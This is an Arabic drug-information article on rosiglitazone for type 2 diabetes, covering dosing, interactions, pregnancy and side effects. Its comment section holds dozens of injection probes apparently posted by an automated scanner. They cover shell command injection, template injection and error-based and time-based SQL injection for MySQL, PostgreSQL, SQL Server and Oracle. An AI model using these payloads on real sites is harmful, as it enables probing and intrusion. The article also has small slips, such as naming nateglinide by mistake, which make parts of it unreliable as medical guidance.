احدث المقالات
بواسطة admin
منذ سنتين
يعد دواء روزيجليتازون احد الادوية الحديثة في علاج مرض السكري من النوع 2، والذي يعمل على خفض نسب الجلوكوز في الدم. الدواء لاقي انتشاراً واسعاً في بدايات انتاجه، سنتعرف في المقال على الاستخدامات والتفاعلات الكيميائية وغيرها الكثير.
هو أحد الأدوية المستخدمة في علاج مرض السكري من النوع 2، وهو من فئة "thiazolidinedione". يقوم العقار بالارتباط مع PPAR الموجودة في الخلايا الدهنية، ويوجد كدواء بمفرده او مع ميتفورمين أو مع جليمبريد.
يساعد دواء روزيجليتازون خفض مستويات الجلوكوز عن طريق تحسين استجابة الخلايا المستهدفة للأنسولين دون زيادة تحفيز وإفراز الأنسولين بواسطة خلايا بيتا في البنكرياس. يقوم العقار بتأثير كبير في الجسم عن طريق زيادة امتصاص الجلوكوز في العضلات والهيكل العظمي.
يتوفر دواء روزيجليتازون على شكل اقراص قابلة للبلع، بتركيز 2 ملجم & 4 ملجم. يُنصح بتناول دواء روزيجليتازون بتركيز 2 ملجم كل 12 قبل الوجبة الاولى في الصباح، كما يمكن زيادة الجرعة حتى 8 ملجم يومياً وتؤخذ على جزئين.
يتم تناول دواء روزيجليتازون عن طريق الفم بجرعة في الصباح قبل الوجبة ويمكن زيادة الجرعة وقسمها إلى جرعتين كل 12 ساعة. من الضروري تناول الدواء يوميا مع نفس الوجبة في توقيت ثابت لانتظام مستويات السكر في الدم.
يبدأ تأثير دواء روزيجليتازون فور بتناوله ليساعد على خفض نسب السكر في الدم بشكل سريع، ويبلغ أقصى تأثير له في الجرعة بعد ساعة تقريبا. يبلغ عمر النصف في العقار من 3-4 ساعات، كما يستغرق التأثير الاقصى للجرعات مدة قد تصل الى 12 اسبوع متواصل.
يُنصح بضرورة التزام المريض بتناول الجرعات المحددة له من الطبيب المعالج في الوقت المقرر لعدم التأثر بمستويات السكر داخل الجسم. وبالتالي، يضمن العقار للمريض عدم الدخول في مضاعفات المرض وتحسين نمط الحياة لدى مرضى السكري.
يؤدي عدم الالتزام الدوائي إلى استمرار ارتفاع سكر الدم الأمر الذي بدوره يعجل من ظهور المضاعفات الخطيرة للمرض والتأثير على جودة حياة مريض السكري.
فقد يؤدي عدم الالتزام الدوائي إلى تلف الأوعية الدموية مما يؤدي إلى تضييقها وبالتالي تقييد تدفق الدم.و يمكن أن تتأثر العديد من الأعضاء خاصة ما يلي:
الدماغ: تزداد نسبة حدوث السكتات الدماغية
العيون: تزيد سرعة حدوث اعتلال الشبكية السكري مما يسبب العمى
القلب: تزداد احتمالية حدوث الذبحات الصدرية بسبب ضيق الشريان التاجي.
الكلى : اعتلال الكلية السكري يعتبر من اخطر المضاعفات الناتجة عن عدم الالتزام الدوائي مما يسبب مرض الكلى المزمن
الأعصاب: عدم الالتزام الدوائي يسرع من حدوث اعتلال الأعصاب السكري مما يؤدي إلى انخفاض الإحساس في القدمين
وقد تحمي نفسك من كل هذه المضاعفات أو من سرعتها على الأقل بمجرد التزامك الدوائي بها.لذلك أصبح الالتزام الدوائي نداء عالمي.
يجب التأكد قبل تناول دواء روزيجليتازون من موانع واحتياطات تناول الدواء، وفي حال حدوث أي أعراض جانبية يرجى التواصل مع الطبيب المعالج. يرجى التواصل مع الطبيب الخاص بك في الحالات الآتية:
يجب الحذر من استخدام احد ادوية إفراز الأنسولين مع العقار، لتقليل مخاطر نقص السكر في الدم.
يجب على الطبيب مراجعة التاريخ العلاجي للمريض قبل الشروع في وصف دواء ناتيجلينيد، ولكن يجب الانتباه الي خطورة تفاعل عقار روزيجليتازون مع المواد الآتية:
الكسادولين "VIBERZI" : يزيد روزيجليتازون من مستويات الإلكسادولين عن طريق تقليل التمثيل الغذائي. يُنصح بتقليل جرعة الكسادولين إذا لزم تناوله مع روزيجليتازون.
الإيثانول "الكحول": الاستهلاك المفرط للايثانول قد يغير التحكم في نسبة السكر في الدم.
جمفبروزيل "Lopid" : سيزيد جمفبروزيل من مستوى أو تأثير روزيجليتازون عن طريق تقليل التمثيل الغذائي.
توكاتينيب "Tukysa": سيزيد روزيجليتازون من مستوى أو تأثير توكاتينيب من قبل الآخرين، ويؤدي التناول المتزامن إلى زيادة تركيزات البلازما.
ينصح بمراقبة التأثير المحتمل لهذه المواد مع دواء روزيجليتازون:
البيجلوتيد "eperzan": يزيد من تأثيرات الآخر عن طريق التآزر الديناميكي الدوائي، ويؤدي الاستخدام المتزامن إلى زيادة خطر الإصابة بنقص السكر في الدم.
أريبيبرازول "Abilify": يُنصح بالمراقبة والحذر لارتباط مضادات الذهان غير النمطية بفرط سكر الدم الذي قد يغير التحكم في نسبة الجلوكوز في الدم.
اسينابين "Saphris": يُنصح بالمراقبة والحذر لارتباط مضادات الذهان غير النمطية بفرط سكر الدم الذي قد يغير التحكم في نسبة الجلوكوز في الدم.
أتورفاستاتين "Lipitor": يزيد روزيجليتازون من سمية أتورفاستاتين، وقد تزيد مثبطات OATP1B1 من خطر الإصابة بالاعتلال العضلي.
قد يصاحب تناول العقار بعض من الأعراض الجانبية والتي ينصح بالرجوع إلى الطبيب في حال ظهور أي من هذه الآثار:
لا يوجد بيانات واضحة بشأن مخاطر العقار على تشوه الاجنة او الاجهاض ولكن هناك مخاطر بشأن سوء السيطرة على مرض السكري أثناء الحمل. يزيد سوء السيطرة على مرض السكري إلى الإصابة بالحماض الكيتوني السكري ، أو تسمم الحمل ، والإجهاض التلقائي ، والولادة المبكرة ، ومضاعفات الولادة.
لا توجد أي بيانات حول إفراز روزيجليتازون في لبن الأم، أو تأثيره على إنتاج الحليب، ولكن ينصح بمراقبة أي آثار ضارة محتملة على الرضيع الذي يرضع من الثدي أو على حالة الأم الأساسية.
يجب الالتزام بالجرعة المقررة من الطبيب المعالج في أوقاتها، وفي حال تناولت جرعة زائدة وشعرت بأحد علامات نقص السكر الحاد في جسمك، يجب عليك التواصل مع الطبيب المسئول في اسرع وقت، او الذهاب الى المستشفى لتلقي العلاج. قد يكون محلول الدكستروز الوريدي أي أقراص الجلوكوز أحد طرق العلاج، دون حالات فقدان الوعي.
يُنصح في حالات نسيان جرعة من الدواء أو تأخيرها التواصل مع الطبيب المسئول للاستفسار عن تنظيم الجرعات المقبلة.
لا يجب تناول جرعتين في وقت واحد في حالة نسيان جرعة، حتى لا تتعرض لخطر الاصابة بنقص الجلوكوز في الدم.
يجب التواصل بشكل مستمر مع الطبيب المعالج للمتابعة في مدى تأثير الدواء وأثر المداومة عليه، كما يمكن عمل تحاليل للدم والبول للاطمئنان على نسب السكر.
يمكنك اتباع بعض الأنظمة الغذائية والتمارين الرياضية للحفاظ على مستوى السكر في الدم، بالإضافة إلى قياسه من خلال جهاز قياس السكر العشوائي.
يجب التوقف عن الدواء على الفور وابلاغ مقدم الرعاية الصحيه فى حالة حدوث هذه الاعراض.
ان استخدام دواء روزيجليتازون او اى دواء من عائلة thiazolidinedione مثل البيوجليتازون قد يسبب تبويض حتى مع السيدات اللاتى انقطعت لديهن فترة اللإباضه او ماقبل فترة انقطاع الطمث والذى قد ينتج عنه حمل غير متوقع.
لذا ينصح باستخدام مانع الحمل المناسب اثناء استخدام الدواء.
لا ينصح باستخدام دواء روزيجليتازون مع ادوية الذبحه الصدريه مثل النيتروجليسرين Nitroglycerin or isosorbide
كما لا ينصح باستخدامه مع الانسولين لا حتمالية حدوث هبوط حاد فى السكر.
ان تناول دواء روزيجليتازون لفترات طويله قد يسبب هشاشة فى العظام وقد يلاحظ ذلك فى سهولة الكسر عند الصدمات الخفيفه خاصة فى اليد او اعلى الذراع او القدم.
ان تناول الدواء لفترات طويله قد يسبب انخفاض فى بروتين الدم ( الهيموجلوبين) لذا فقد يسبب فقر فى الدم
التعليقات
admin鎈'"\(
31 أكتوبر, 2023
123456 expr 997374166 + 835710867
admin鎈'"\(
31 أكتوبر, 2023
123456|expr 949039047 + 880427586
admin鎈'"\(
31 أكتوبر, 2023
123456$(expr 924430577 + 843323442)
admin鎈'"\(
31 أكتوبر, 2023
123456&set /A 816937844+880420496
admin鎈'"\(
31 أكتوبر, 2023
expr 842252612 + 923031301
admin鎈'"\(
31 أكتوبر, 2023
${@var_dump(md5(399663543))};
admin鎈'"\(
31 أكتوبر, 2023
'-var_dump(md5(118618872))-'
admin鎈'"\(
31 أكتوبر, 2023
${910203656+913973927}
admin鎈'"\(
31 أكتوبر, 2023
/*1*/{{803358051+965082072}}
admin鎈'"\(
31 أكتوبر, 2023
${860876157+875311493}
admin鎈'"\(
31 أكتوبر, 2023
${(932237528+823435223)?c}
admin鎈'"\(
31 أكتوبر, 2023
#set($c=983355126+933343068)${c}$c
admin鎈'"\(
31 أكتوبر, 2023
<%- 805788299+942727165 %>
admin鎈'"\(
31 أكتوبر, 2023
123456'and/**/extractvalue(1,concat(char(126),md5(1050321585)))and'
admin鎈'"\(
31 أكتوبر, 2023
123456"and/**/extractvalue(1,concat(char(126),md5(1043130341)))and"
admin鎈'"\(
31 أكتوبر, 2023
extractvalue(1,concat(char(126),md5(1562385012)))
admin鎈'"\(
31 أكتوبر, 2023
123456'and(select'1'from/**/cast(md5(1647897900)as/**/int))>'0
admin鎈'"\(
31 أكتوبر, 2023
123456/**/and/**/cast(md5('1508325724')as/**/int)>0
admin鎈'"\(
31 أكتوبر, 2023
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1185543820')))
admin鎈'"\(
31 أكتوبر, 2023
123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1187555817')))>'0
admin鎈'"\(
31 أكتوبر, 2023
(select*from(select+sleep(0)union/**/select+1)a)
admin鎈'"\(
31 أكتوبر, 2023
(select*from(select+sleep(2)union/**/select+1)a)
admin鎈'"\(
31 أكتوبر, 2023
123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='
admin鎈'"\(
31 أكتوبر, 2023
123456'and(select*from(select+sleep(2))a/**/union/**/select+1)='
admin鎈'"\(
31 أكتوبر, 2023
123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="
admin鎈'"\(
31 أكتوبر, 2023
123456"and(select*from(select+sleep(2))a/**/union/**/select+1)="
admin鎈'"\(
31 أكتوبر, 2023
123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/
admin鎈'"\(
31 أكتوبر, 2023
123456/**/and(select+1/**/from/**/pg_sleep(2))>0/**/
admin鎈'"\(
31 أكتوبر, 2023
123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0
admin鎈'"\(
31 أكتوبر, 2023
123456'/**/and(select'1'from/**/pg_sleep(2))::text>'0
admin鎈'"\(
31 أكتوبر, 2023
123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/
admin鎈'"\(
31 أكتوبر, 2023
123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/
admin鎈'"\(
31 أكتوبر, 2023
123456'and(select+1)>0waitfor/**/delay'0:0:0
admin鎈'"\(
31 أكتوبر, 2023
123456'and(select+1)>0waitfor/**/delay'0:0:2
admin鎈'"\(
31 أكتوبر, 2023
123456/**/and/**/2=DBMS_PIPE.RECEIVE_MESSAGE('g',0)
admin鎈'"\(
31 أكتوبر, 2023
123456/**/and/**/0=DBMS_PIPE.RECEIVE_MESSAGE('y',2)
admin鎈'"\(
31 أكتوبر, 2023
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('p',0)='p
admin鎈'"\(
31 أكتوبر, 2023
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('t',2)='t